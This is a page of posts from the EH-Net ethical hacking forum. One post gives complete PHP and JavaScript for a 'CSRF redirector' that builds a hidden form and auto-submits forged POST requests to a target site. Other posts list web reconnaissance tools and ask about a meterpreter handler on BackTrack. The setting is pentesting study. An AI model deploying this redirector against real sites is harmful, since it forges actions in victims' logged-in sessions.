|
EH-Net
|
|
May 23, 2013, 01:32:45 PM
|
 Show Posts
|
|
Pages: [1] 2
|
|
4
|
Ethical Hacking Discussions and Related Certifications / Web Applications / Re: CSRF with XSS payload encoding help
|
on: November 07, 2012, 01:57:59 AM
|
You could implement it by CSRF redirector technique. I have posted here but the source code is unavailable. http://pornsookk.wordpress.com/2011/07/08/csrf-redirector/<html>
<title>PHP CSRF Redirector</title>
<body>
<?php
/* Call
* http://hackerhost.net/csrf_redirect.php?csrf=http://vulnerable.net?username=john|passwd=12345
*/
$csrf = $_GET['csrf'];
$tokens = preg_split('/\?/',$csrf);
$url = $tokens[0];
$vars = preg_split('/\|/',$tokens[1]);
print ('<form name="csrfForm" method="post" action="' . $url . '">');
for($i=0;$i<sizeof($vars);$i++)
{ /* $vars[$i]: key=value;
* key = terms[0]
* value = terms[1]
*/
$terms = explode('=',$vars[$i]);
print('<input type="hidden" name="' . $terms[0] . '" value="' . $terms[1] . '" />');
} //end for loop
print("</form>");
?>
<script language="javascript" type="text/javascript">
document.forms[0].submit();
</script>
</form>
</body>
</html>
|
|
|
|
|
6
|
Ethical Hacking Discussions and Related Certifications / Web Applications / Re: Mapping the Application
|
on: November 06, 2012, 11:11:39 AM
|
|
For me, I am working with
1. BurpSuite for web application crawling and mapping.
2. DirBuster for directory or file name enumeration.
3. HTTrack for saving some web contents in order to extract interesting metadata.
4. nikto for checking web server configuration
5. w3af for quick web application scanning
These activities pave a way to the next step.
|
|
|
|
|
14
|
Resources / Tools / Re: Backtrack 5 R2
|
on: April 03, 2012, 09:52:48 PM
|
1. Does SET-Social Engineering Toolkits work well on BT5r2? I have problem with its handler listening my meterpreter payload. 2. I noticed that in /pentest/exploits/, there was no framework3 directory. Above all, I have installed BT5r2.  |
|
|
|
|
Loading...
|
GCIH - GIAC Certified Incident Handler : Passed my GCIH
